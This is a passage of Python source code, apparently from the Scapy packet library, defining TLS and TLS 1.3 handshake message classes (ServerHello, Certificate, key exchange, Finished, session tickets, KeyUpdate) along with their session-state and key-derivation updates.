_tls_compression_algs, itemfmt="B", length_from=lambda pkt: 1), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: ( pkt.msglen - (pkt.sidlen or 0) - 40 ))] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 6: version = struct.unpack("!H", _pkt[4:6])[0] if version == 0x0304 or version > 0x7f00: return TLS13ServerHello return TLSServerHello def post_build(self, p, pay): if self.random_bytes is None: p = p[:10] + randstring(28) + p[10 + 28:] return super(TLSServerHello, self).post_build(p, pay) def tls_session_update(self, msg_str): """ Either for parsing or building, we store the server_random along with the raw string representing this handshake message. We also store the session_id, the cipher suite (if recognized), the compression method, and finally we instantiate the pending write and read connection states. Usually they get updated later on in the negotiation when we learn the session keys, and eventually they are committed once a ChangeCipherSpec has been sent/received. """ super(TLSServerHello, self).tls_session_update(msg_str) self.tls_session.tls_version = self.version self.random_bytes = msg_str[10:38] self.tls_session.server_random = (struct.pack('!I', self.gmt_unix_time) + self.random_bytes) self.tls_session.sid = self.sid cs_cls = None if self.cipher: cs_val = self.cipher if cs_val not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d from ServerHello" % cs_val) # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[cs_val] comp_cls = Comp_NULL if self.comp: comp_val = self.comp[0] if comp_val not in _tls_compression_algs_cls: err = "Unknown compression alg %d from ServerHello" % comp_val warning(err) comp_val = 0 comp_cls = _tls_compression_algs_cls[comp_val] connection_end = self.tls_session.connection_end self.tls_session.pwcs = writeConnState(ciphersuite=cs_cls, compression_alg=comp_cls, connection_end=connection_end, tls_version=self.version) self.tls_session.prcs = readConnState(ciphersuite=cs_cls, compression_alg=comp_cls, connection_end=connection_end, tls_version=self.version) _tls_13_server_hello_fields = [ ByteEnumField("msgtype", 2, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSVersionField("version", 0x0303, _tls_version), _TLSRandomBytesField("random_bytes", None, 32), FieldLenField("sidlen", None, length_of="sid", fmt="B"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), ShortEnumField("cipher", None, _tls_cipher_suites), _CompressionMethodsField("comp", [0], _tls_compression_algs, itemfmt="B", length_from=lambda pkt: 1), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - 38)) ] class TLS13ServerHello(_TLSHandshake): """ TLS 1.3 ServerHello """ name = "TLS 1.3 Handshake - Server Hello" fields_desc = _tls_13_server_hello_fields # ServerHello and HelloRetryRequest has the same structure and the same # msgId. We need to check the server_random value to determine which it is. @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 38: # If SHA-256("HelloRetryRequest") == server_random, # this message is a HelloRetryRequest random_bytes = _pkt[6:38] if random_bytes == _tls_hello_retry_magic: return TLS13HelloRetryRequest return TLS13ServerHello def post_build(self, p, pay): if self.random_bytes is None: p = p[:6] + randstring(32) + p[6 + 32:] return super(TLS13ServerHello, self).post_build(p, pay) def tls_session_update(self, msg_str): """ Either for parsing or building, we store the server_random along with the raw string representing this handshake message. We also store the cipher suite (if recognized), and finally we instantiate the write and read connection states. """ super(TLS13ServerHello, self).tls_session_update(msg_str) s = self.tls_session if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_SupportedVersion_SH): s.tls_version = e.version break s.server_random = self.random_bytes s.ciphersuite = self.cipher cs_cls = None if self.cipher: cs_val = self.cipher if cs_val not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d from ServerHello" % cs_val) # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[cs_val] connection_end = s.connection_end if connection_end == "server": s.pwcs = writeConnState(ciphersuite=cs_cls, connection_end=connection_end, tls_version=s.tls_version) if not s.middlebox_compatibility: s.triggered_pwcs_commit = True elif connection_end == "client": s.prcs = readConnState(ciphersuite=cs_cls, connection_end=connection_end, tls_version=s.tls_version) if not s.middlebox_compatibility: s.triggered_prcs_commit = True if s.tls13_early_secret is None: # In case the connState was not pre-initialized, we could not # compute the early secrets at the ClientHello, so we do it here. s.compute_tls13_early_secrets() s.compute_tls13_handshake_secrets() if connection_end == "server": shts = s.tls13_derived_secrets["server_handshake_traffic_secret"] s.pwcs.tls13_derive_keys(shts) elif connection_end == "client": shts = s.tls13_derived_secrets["server_handshake_traffic_secret"] s.prcs.tls13_derive_keys(shts) ############################################################################### # HelloRetryRequest # ############################################################################### class TLS13HelloRetryRequest(_TLSHandshake): name = "TLS 1.3 Handshake - Hello Retry Request" fields_desc = _tls_13_server_hello_fields def build(self): fval = self.getfieldval("random_bytes") if fval is None: self.random_bytes = _tls_hello_retry_magic return _TLSHandshake.build(self) def tls_session_update(self, msg_str): s = self.tls_session s.tls13_retry = True s.tls13_client_pubshares = {} # If the server responds to a ClientHello with a HelloRetryRequest # The value of the first ClientHello is replaced by a message_hash if s.client_session_ticket: cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size else: cs_cls = _tls_cipher_suites_cls[self.cipher] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size handshake_context = struct.pack("B", 254) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", hash_len) digest = hashes.Hash(hkdf.hash, backend=default_backend()) digest.update(s.handshake_messages[0]) handshake_context += digest.finalize() s.handshake_messages[0] = handshake_context super(TLS13HelloRetryRequest, self).tls_session_update(msg_str) ############################################################################### # EncryptedExtensions # ############################################################################### class TLSEncryptedExtensions(_TLSHandshake): name = "TLS 1.3 Handshake - Encrypted Extensions" fields_desc = [ByteEnumField("msgtype", 8, _tls_handshake_type), ThreeBytesField("msglen", None), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: pkt.msglen - 2)] def post_build_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session connection_end = s.connection_end # Check if the server early_data extension is present in # EncryptedExtensions message (if so, early data was accepted by the # server) early_data_accepted = False if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_EarlyDataIndication): early_data_accepted = True # If the serveur did not accept early_data, we change prcs traffic # encryption keys. Otherwise, the the keys will be updated after the # EndOfEarlyData message if connection_end == "server": if not early_data_accepted: s.prcs = readConnState(ciphersuite=type(s.wcs.ciphersuite), connection_end=connection_end, tls_version=s.tls_version) chts = s.tls13_derived_secrets["client_handshake_traffic_secret"] # noqa: E501 s.prcs.tls13_derive_keys(chts) if not s.middlebox_compatibility: s.rcs = self.tls_session.prcs s.triggered_prcs_commit = False else: s.triggered_prcs_commit = True def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session connection_end = s.connection_end # Check if the server early_data extension is present in # EncryptedExtensions message (if so, early data was accepted by the # server) early_data_accepted = False if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_EarlyDataIndication): early_data_accepted = True # If the serveur did not accept early_data, we change pwcs traffic # encryption key. Otherwise, the the keys will be updated after the # EndOfEarlyData message if connection_end == "client": if not early_data_accepted: s.pwcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite), connection_end=connection_end, tls_version=s.tls_version) chts = s.tls13_derived_secrets["client_handshake_traffic_secret"] # noqa: E501 s.pwcs.tls13_derive_keys(chts) if not s.middlebox_compatibility: s.wcs = self.tls_session.pwcs s.triggered_pwcs_commit = False else: s.triggered_prcs_commit = True ############################################################################### # Certificate # ############################################################################### # XXX It might be appropriate to rewrite this mess with basic 3-byte FieldLenField. # noqa: E501 class _ASN1CertLenField(FieldLenField): """ This is mostly a 3-byte FieldLenField. """ def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x): self.length_of = length_of self.adjust = adjust Field.__init__(self, name, default, fmt="!I") def i2m(self, pkt, x): if x is None: if self.length_of is not None: fld, fval = pkt.getfield_and_val(self.length_of) f = fld.i2len(pkt, fval) x = self.adjust(pkt, f) return x def addfield(self, pkt, s, val): return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 class _ASN1CertListField(StrLenField): islist = 1 def i2len(self, pkt, i): if i is None: return 0 return len(self.i2m(pkt, i)) def getfield(self, pkt, s): """ Extract Certs in a loop. XXX We should provide safeguards when trying to parse a Cert. """ tmp_len = None if self.length_from is not None: tmp_len = self.length_from(pkt) lst = [] ret = b"" m = s if tmp_len is not None: m, ret = s[:tmp_len], s[tmp_len:] while m: clen = struct.unpack("!I", b'\x00' + m[:3])[0] lst.append((clen, Cert(m[3:3 + clen]))) m = m[3 + clen:] return m + ret, lst def i2m(self, pkt, i): def i2m_one(i): if isinstance(i, str): return i if isinstance(i, Cert): s = i.der tmp_len = struct.pack("!I", len(s))[1:4] return tmp_len + s (tmp_len, s) = i if isinstance(s, Cert): s = s.der return struct.pack("!I", tmp_len)[1:4] + s if i is None: return b"" if isinstance(i, str): return i if isinstance(i, Cert): i = [i] return b"".join(i2m_one(x) for x in i) def any2i(self, pkt, x): return x class _ASN1CertField(StrLenField): def i2len(self, pkt, i): if i is None: return 0 return len(self.i2m(pkt, i)) def getfield(self, pkt, s): tmp_len = None if self.length_from is not None: tmp_len = self.length_from(pkt) ret = b"" m = s if tmp_len is not None: m, ret = s[:tmp_len], s[tmp_len:] clen = struct.unpack("!I", b'\x00' + m[:3])[0] len_cert = (clen, Cert(m[3:3 + clen])) m = m[3 + clen:] return m + ret, len_cert def i2m(self, pkt, i): def i2m_one(i): if isinstance(i, str): return i if isinstance(i, Cert): s = i.der tmp_len = struct.pack("!I", len(s))[1:4] return tmp_len + s (tmp_len, s) = i if isinstance(s, Cert): s = s.der return struct.pack("!I", tmp_len)[1:4] + s if i is None: return b"" return i2m_one(i) def any2i(self, pkt, x): return x class TLSCertificate(_TLSHandshake): """ XXX We do not support RFC 5081, i.e. OpenPGP certificates. """ name = "TLS Handshake - Certificate" fields_desc = [ByteEnumField("msgtype", 11, _tls_handshake_type), ThreeBytesField("msglen", None), _ASN1CertLenField("certslen", None, length_of="certs"), _ASN1CertListField("certs", [], length_from=lambda pkt: pkt.certslen)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: tls_session = kargs.get("tls_session", None) if tls_session and (tls_session.tls_version or 0) >= 0x0304: return TLS13Certificate return TLSCertificate def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) connection_end = self.tls_session.connection_end if connection_end == "client": self.tls_session.server_certs = [x[1] for x in self.certs] else: self.tls_session.client_certs = [x[1] for x in self.certs] class _ASN1CertAndExt(_GenericTLSSessionInheritance): name = "Certificate and Extensions" fields_desc = [_ASN1CertField("cert", ""), FieldLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", [], length_from=lambda pkt: pkt.extlen)] def extract_padding(self, s): return b"", s class _ASN1CertAndExtListField(PacketListField): def m2i(self, pkt, m): return self.cls(m, tls_session=pkt.tls_session) class TLS13Certificate(_TLSHandshake): name = "TLS 1.3 Handshake - Certificate" fields_desc = [ByteEnumField("msgtype", 11, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("cert_req_ctxt_len", None, fmt="B", length_of="cert_req_ctxt"), StrLenField("cert_req_ctxt", "", length_from=lambda pkt: pkt.cert_req_ctxt_len), _ASN1CertLenField("certslen", None, length_of="certs"), _ASN1CertAndExtListField("certs", [], _ASN1CertAndExt, length_from=lambda pkt: pkt.certslen)] # noqa: E501 def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) connection_end = self.tls_session.connection_end if connection_end == "client": if self.certs: sc = [x.cert[1] for x in self.certs] self.tls_session.server_certs = sc else: if self.certs: cc = [x.cert[1] for x in self.certs] self.tls_session.client_certs = cc ############################################################################### # ServerKeyExchange # ############################################################################### class TLSServerKeyExchange(_TLSHandshake): name = "TLS Handshake - Server Key Exchange" fields_desc = [ByteEnumField("msgtype", 12, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSServerParamsField("params", None, length_from=lambda pkt: pkt.msglen), _TLSSignatureField("sig", None, length_from=lambda pkt: pkt.msglen - len(pkt.params))] # noqa: E501 def build(self, *args, **kargs): r""" We overload build() method in order to provide a valid default value for params based on TLS session if not provided. This cannot be done by overriding i2m() because the method is called on a copy of the packet. The 'params' field is built according to key_exchange.server_kx_msg_cls which should have been set after receiving a cipher suite in a previous ServerHello. Usual cases are: - None: for RSA encryption or fixed FF/ECDH. This should never happen, as no ServerKeyExchange should be generated in the first place. - ServerDHParams: for ephemeral FFDH. In that case, the parameter to server_kx_msg_cls does not matter. - ServerECDH\*Params: for ephemeral ECDH. There are actually three classes, which are dispatched by _tls_server_ecdh_cls_guess on the first byte retrieved. The default here is b"\03", which corresponds to ServerECDHNamedCurveParams (implicit curves). When the Server\*DHParams are built via .fill_missing(), the session server_kx_privkey will be updated accordingly. """ fval = self.getfieldval("params") if fval is None: s = self.tls_session if s.pwcs: if s.pwcs.key_exchange.export: cls = ServerRSAParams(tls_session=s) else: cls = s.pwcs.key_exchange.server_kx_msg_cls(b"\x03") cls = cls(tls_session=s) try: cls.fill_missing() except Exception: if conf.debug_dissector: raise else: cls = Raw() self.params = cls fval = self.getfieldval("sig") if fval is None: s = self.tls_session if s.pwcs and s.client_random: if not s.pwcs.key_exchange.anonymous: p = self.params if p is None: p = b"" m = s.client_random + s.server_random + raw(p) cls = _TLSSignature(tls_session=s) cls._update_sig(m, s.server_key) else: cls = Raw() else: cls = Raw() self.sig = cls return _TLSHandshake.build(self, *args, **kargs) def post_dissection(self, pkt): """ While previously dissecting Server*DHParams, the session server_kx_pubkey should have been updated. XXX Add a 'fixed_dh' OR condition to the 'anonymous' test. """ s = self.tls_session if s.prcs and s.prcs.key_exchange.no_ske: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: useless ServerKeyExchange [%s]", pkt_info) if (s.prcs and not s.prcs.key_exchange.anonymous and s.client_random and s.server_random and s.server_certs and len(s.server_certs) > 0): m = s.client_random + s.server_random + raw(self.params) sig_test = self.sig._verify_sig(m, s.server_certs[0]) if not sig_test: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid ServerKeyExchange signature [%s]", pkt_info) # noqa: E501 ############################################################################### # CertificateRequest # ############################################################################### _tls_client_certificate_types = {1: "rsa_sign", 2: "dss_sign", 3: "rsa_fixed_dh", 4: "dss_fixed_dh", 5: "rsa_ephemeral_dh_RESERVED", 6: "dss_ephemeral_dh_RESERVED", 20: "fortezza_dms_RESERVED", 64: "ecdsa_sign", 65: "rsa_fixed_ecdh", 66: "ecdsa_fixed_ecdh"} class _CertTypesField(_CipherSuitesField): pass class _CertAuthoritiesField(StrLenField): """ XXX Rework this with proper ASN.1 parsing. """ islist = 1 def getfield(self, pkt, s): tmp_len = self.length_from(pkt) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def m2i(self, pkt, m): res = [] while len(m) > 1: tmp_len = struct.unpack("!H", m[:2])[0] if len(m) < tmp_len + 2: res.append((tmp_len, m[2:])) break dn = m[2:2 + tmp_len] res.append((tmp_len, dn)) m = m[2 + tmp_len:] return res def i2m(self, pkt, i): return b"".join(map(lambda x_y: struct.pack("!H", x_y[0]) + x_y[1], i)) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def i2len(self, pkt, val): if val is None: return 0 else: return len(self.i2m(pkt, val)) class TLSCertificateRequest(_TLSHandshake): name = "TLS Handshake - Certificate Request" fields_desc = [ByteEnumField("msgtype", 13, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("ctypeslen", None, fmt="B", length_of="ctypes"), _CertTypesField("ctypes", [1, 64], _tls_client_certificate_types, itemfmt="!B", length_from=lambda pkt: pkt.ctypeslen), SigAndHashAlgsLenField("sig_algs_len", None, length_of="sig_algs"), SigAndHashAlgsField("sig_algs", [0x0403, 0x0401, 0x0201], ShortEnumField("hash_sig", None, _tls_hash_sig), # noqa: E501 length_from=lambda pkt: pkt.sig_algs_len), # noqa: E501 FieldLenField("certauthlen", None, fmt="!H", length_of="certauth"), _CertAuthoritiesField("certauth", [], length_from=lambda pkt: pkt.certauthlen)] # noqa: E501 class TLS13CertificateRequest(_TLSHandshake): name = "TLS 1.3 Handshake - Certificate Request" fields_desc = [ByteEnumField("msgtype", 13, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("cert_req_ctxt_len", None, fmt="B", length_of="cert_req_ctxt"), StrLenField("cert_req_ctxt", "", length_from=lambda pkt: pkt.cert_req_ctxt_len), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: pkt.msglen - pkt.cert_req_ctxt_len - 3)] ############################################################################### # ServerHelloDone # ############################################################################### class TLSServerHelloDone(_TLSHandshake): name = "TLS Handshake - Server Hello Done" fields_desc = [ByteEnumField("msgtype", 14, _tls_handshake_type), ThreeBytesField("msglen", None)] ############################################################################### # CertificateVerify # ############################################################################### class TLSCertificateVerify(_TLSHandshake): name = "TLS Handshake - Certificate Verify" fields_desc = [ByteEnumField("msgtype", 15, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSSignatureField("sig", None, length_from=lambda pkt: pkt.msglen)] def build(self, *args, **kargs): sig = self.getfieldval("sig") if sig is None: s = self.tls_session m = b"".join(s.handshake_messages) tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304: if s.connection_end == "client": context_string = b"TLS 1.3, client CertificateVerify" elif s.connection_end == "server": context_string = b"TLS 1.3, server CertificateVerify" m = b"\x20" * 64 + context_string + b"\x00" + s.wcs.hash.digest(m) # noqa: E501 self.sig = _TLSSignature(tls_session=s) if s.connection_end == "client": self.sig._update_sig(m, s.client_key) elif s.connection_end == "server": # should be TLS 1.3 only self.sig._update_sig(m, s.server_key) return _TLSHandshake.build(self, *args, **kargs) def post_dissection(self, pkt): s = self.tls_session m = b"".join(s.handshake_messages) tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304: if s.connection_end == "client": context_string = b"TLS 1.3, server CertificateVerify" elif s.connection_end == "server": context_string = b"TLS 1.3, client CertificateVerify" m = b"\x20" * 64 + context_string + b"\x00" + s.rcs.hash.digest(m) if s.connection_end == "server": if s.client_certs and len(s.client_certs) > 0: sig_test = self.sig._verify_sig(m, s.client_certs[0]) if not sig_test: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info) # noqa: E501 elif s.connection_end == "client": # should be TLS 1.3 only if s.server_certs and len(s.server_certs) > 0: sig_test = self.sig._verify_sig(m, s.server_certs[0]) if not sig_test: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info) # noqa: E501 ############################################################################### # ClientKeyExchange # ############################################################################### class _TLSCKExchKeysField(PacketField): __slots__ = ["length_from"] holds_packet = 1 def __init__(self, name, length_from=None, remain=0): self.length_from = length_from PacketField.__init__(self, name, None, None, remain=remain) def m2i(self, pkt, m): """ The client_kx_msg may be either None, EncryptedPreMasterSecret (for RSA encryption key exchange), ClientDiffieHellmanPublic, or ClientECDiffieHellmanPublic. When either one of them gets dissected, the session context is updated accordingly. """ tmp_len = self.length_from(pkt) tbd, rem = m[:tmp_len], m[tmp_len:] s = pkt.tls_session cls = None if s.prcs and s.prcs.key_exchange: cls = s.prcs.key_exchange.client_kx_msg_cls if cls is None: return Raw(tbd) / Padding(rem) return cls(tbd, tls_session=s) / Padding(rem) class TLSClientKeyExchange(_TLSHandshake): """ This class mostly works like TLSServerKeyExchange and its 'params' field. """ name = "TLS Handshake - Client Key Exchange" fields_desc = [ByteEnumField("msgtype", 16, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSCKExchKeysField("exchkeys", length_from=lambda pkt: pkt.msglen)] def build(self, *args, **kargs): fval = self.getfieldval("exchkeys") if fval is None: s = self.tls_session if s.prcs: cls = s.prcs.key_exchange.client_kx_msg_cls cls = cls(tls_session=s) else: cls = Raw() self.exchkeys = cls return _TLSHandshake.build(self, *args, **kargs) ############################################################################### # Finished # ############################################################################### class _VerifyDataField(StrLenField): def getfield(self, pkt, s): if pkt.tls_session.tls_version == 0x0300: sep = 36 elif pkt.tls_session.tls_version >= 0x0304: sep = pkt.tls_session.rcs.hash.hash_len else: sep = 12 return s[sep:], s[:sep] class TLSFinished(_TLSHandshake): name = "TLS Handshake - Finished" fields_desc = [ByteEnumField("msgtype", 20, _tls_handshake_type), ThreeBytesField("msglen", None), _VerifyDataField("vdata", None)] def build(self, *args, **kargs): fval = self.getfieldval("vdata") if fval is None: s = self.tls_session handshake_msg = b"".join(s.handshake_messages) con_end = s.connection_end tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version < 0x0304: ms = s.master_secret self.vdata = s.wcs.prf.compute_verify_data(con_end, "write", handshake_msg, ms) else: self.vdata = s.compute_tls13_verify_data(con_end, "write") return _TLSHandshake.build(self, *args, **kargs) def post_dissection(self, pkt): s = self.tls_session if not s.frozen: handshake_msg = b"".join(s.handshake_messages) tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version < 0x0304 and s.master_secret is not None: ms = s.master_secret con_end = s.connection_end verify_data = s.rcs.prf.compute_verify_data(con_end, "read", handshake_msg, ms) if self.vdata != verify_data: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid Finished received [%s]", pkt_info) # noqa: E501 elif tls_version >= 0x0304: con_end = s.connection_end verify_data = s.compute_tls13_verify_data(con_end, "read") if self.vdata != verify_data: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid Finished received [%s]", pkt_info) # noqa: E501 def post_build_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304: s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_pwcs_commit = True if s.connection_end == "server": s.compute_tls13_traffic_secrets() elif s.connection_end == "client": s.compute_tls13_traffic_secrets_end() s.compute_tls13_resumption_secret() def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304: s.prcs = readConnState(ciphersuite=type(s.rcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_prcs_commit = True if s.connection_end == "client": s.compute_tls13_traffic_secrets() elif s.connection_end == "server": s.compute_tls13_traffic_secrets_end() s.compute_tls13_resumption_secret() # Additional handshake messages ############################################################################### # HelloVerifyRequest # ############################################################################### class TLSHelloVerifyRequest(_TLSHandshake): """ Defined for DTLS, see RFC 6347. """ name = "TLS Handshake - Hello Verify Request" fields_desc = [ByteEnumField("msgtype", 21, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("cookielen", None, fmt="B", length_of="cookie"), StrLenField("cookie", "", length_from=lambda pkt: pkt.cookielen)] ############################################################################### # CertificateURL # ############################################################################### _tls_cert_chain_types = {0: "individual_certs", 1: "pkipath"} class URLAndOptionalHash(Packet): name = "URLAndOptionHash structure for TLSCertificateURL" fields_desc = [FieldLenField("urllen", None, length_of="url"), StrLenField("url", "", length_from=lambda pkt: pkt.urllen), FieldLenField("hash_present", None, fmt="B", length_of="hash", adjust=lambda pkt, x: int(math.ceil(x / 20.))), # noqa: E501 StrLenField("hash", "", length_from=lambda pkt: 20 * pkt.hash_present)] def guess_payload_class(self, p): return Padding class TLSCertificateURL(_TLSHandshake): """ Defined in RFC 4366. PkiPath structure of section 8 is not implemented yet. """ name = "TLS Handshake - Certificate URL" fields_desc = [ByteEnumField("msgtype", 21, _tls_handshake_type), ThreeBytesField("msglen", None), ByteEnumField("certchaintype", None, _tls_cert_chain_types), FieldLenField("uahlen", None, length_of="uah"), PacketListField("uah", [], URLAndOptionalHash, length_from=lambda pkt: pkt.uahlen)] ############################################################################### # CertificateStatus # ############################################################################### class ThreeBytesLenField(FieldLenField): def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x): FieldLenField.__init__(self, name, default, length_of=length_of, fmt='!I', adjust=adjust) def i2repr(self, pkt, x): if x is None: return 0 return repr(self.i2h(pkt, x)) def addfield(self, pkt, s, val): return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 _cert_status_cls = {1: OCSP_Response} class _StatusField(PacketField): def m2i(self, pkt, m): idtype = pkt.status_type cls = self.cls if idtype in _cert_status_cls: cls = _cert_status_cls[idtype] return cls(m) class TLSCertificateStatus(_TLSHandshake): name = "TLS Handshake - Certificate Status" fields_desc = [ByteEnumField("msgtype", 22, _tls_handshake_type), ThreeBytesField("msglen", None), ByteEnumField("status_type", 1, _cert_status_type), ThreeBytesLenField("responselen", None, length_of="response"), _StatusField("response", None, Raw)] ############################################################################### # SupplementalData # ############################################################################### class SupDataEntry(Packet): name = "Supplemental Data Entry - Generic" fields_desc = [ShortField("sdtype", None), FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len)] def guess_payload_class(self, p): return Padding class UserMappingData(Packet): name = "User Mapping Data" fields_desc = [ByteField("version", None), FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, p): return Padding class SupDataEntryUM(Packet): name = "Supplemental Data Entry - User Mapping" fields_desc = [ShortField("sdtype", None), FieldLenField("len", None, length_of="data", adjust=lambda pkt, x: x + 2), FieldLenField("dlen", None, length_of="data"), PacketListField("data", [], UserMappingData, length_from=lambda pkt:pkt.dlen)] def guess_payload_class(self, p): return Padding class TLSSupplementalData(_TLSHandshake): name = "TLS Handshake - Supplemental Data" fields_desc = [ByteEnumField("msgtype", 23, _tls_handshake_type), ThreeBytesField("msglen", None), ThreeBytesLenField("sdatalen", None, length_of="sdata"), PacketListField("sdata", [], SupDataEntry, length_from=lambda pkt: pkt.sdatalen)] ############################################################################### # NewSessionTicket # ############################################################################### class TLSNewSessionTicket(_TLSHandshake): """ XXX When knowing the right secret, we should be able to read the ticket. """ name = "TLS Handshake - New Session Ticket" fields_desc = [ByteEnumField("msgtype", 4, _tls_handshake_type), ThreeBytesField("msglen", None), IntField("lifetime", 0xffffffff), FieldLenField("ticketlen", None, length_of="ticket"), StrLenField("ticket", "", length_from=lambda pkt: pkt.ticketlen)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): s = kargs.get("tls_session", None) if s and s.tls_version and s.tls_version >= 0x0304: return TLS13NewSessionTicket return TLSNewSessionTicket def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) if self.tls_session.connection_end == "client": self.tls_session.client_session_ticket = self.ticket class TLS13NewSessionTicket(_TLSHandshake): """ Uncomment the TicketField line for parsing a RFC 5077 ticket. """ name = "TLS 1.3 Handshake - New Session Ticket" fields_desc = [ByteEnumField("msgtype", 4, _tls_handshake_type), ThreeBytesField("msglen", None), IntField("ticket_lifetime", 0xffffffff), IntField("ticket_age_add", 0), FieldLenField("noncelen", None, fmt="B", length_of="ticket_nonce"), StrLenField("ticket_nonce", "", length_from=lambda pkt: pkt.noncelen), FieldLenField("ticketlen", None, length_of="ticket"), # TicketField("ticket", "", StrLenField("ticket", "", length_from=lambda pkt: pkt.ticketlen), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - (pkt.ticketlen or 0) - # noqa: E501 pkt.noncelen or 0) - 13)] # noqa: E501 def build(self): fval = self.getfieldval("ticket") if fval == b"": # Here, the ticket is just a random 48-byte label # The ticket may also be a self-encrypted and self-authenticated # value self.ticket = os.urandom(48) fval = self.getfieldval("ticket_nonce") if fval == b"": # Nonce is randomly chosen self.ticket_nonce = os.urandom(32) fval = self.getfieldval("ticket_lifetime") if fval == 0xffffffff: # ticket_lifetime is set to 12 hours self.ticket_lifetime = 43200 fval = self.getfieldval("ticket_age_add") if fval == 0: # ticket_age_add is a random 32-bit value self.ticket_age_add = struct.unpack("!I", os.urandom(4))[0] return _TLSHandshake.build(self) def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) if self.tls_session.connection_end == "client": self.tls_session.client_session_ticket = self.ticket ############################################################################### # EndOfEarlyData # ############################################################################### class TLS13EndOfEarlyData(_TLSHandshake): name = "TLS 1.3 Handshake - End Of Early Data" fields_desc = [ByteEnumField("msgtype", 5, _tls_handshake_type), ThreeBytesField("msglen", None)] ############################################################################### # KeyUpdate # ############################################################################### _key_update_request = {0: "update_not_requested", 1: "update_requested"} class TLS13KeyUpdate(_TLSHandshake): name = "TLS 1.3 Handshake - Key Update" fields_desc = [ByteEnumField("msgtype", 24, _tls_handshake_type), ThreeBytesField("msglen", None), ByteEnumField("request_update", 0, _key_update_request)] def post_build_tls_session_update(self, msg_str): s = self.tls_session s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_pwcs_commit = True s.compute_tls13_next_traffic_secrets(s.connection_end, "write") def post_dissection_tls_session_update(self, msg_str): s = self.tls_session s.prcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_prcs_commit = True if s.connection_end == "server": s.compute_tls13_next_traffic_secrets("client", "read") elif s.connection_end == "client": 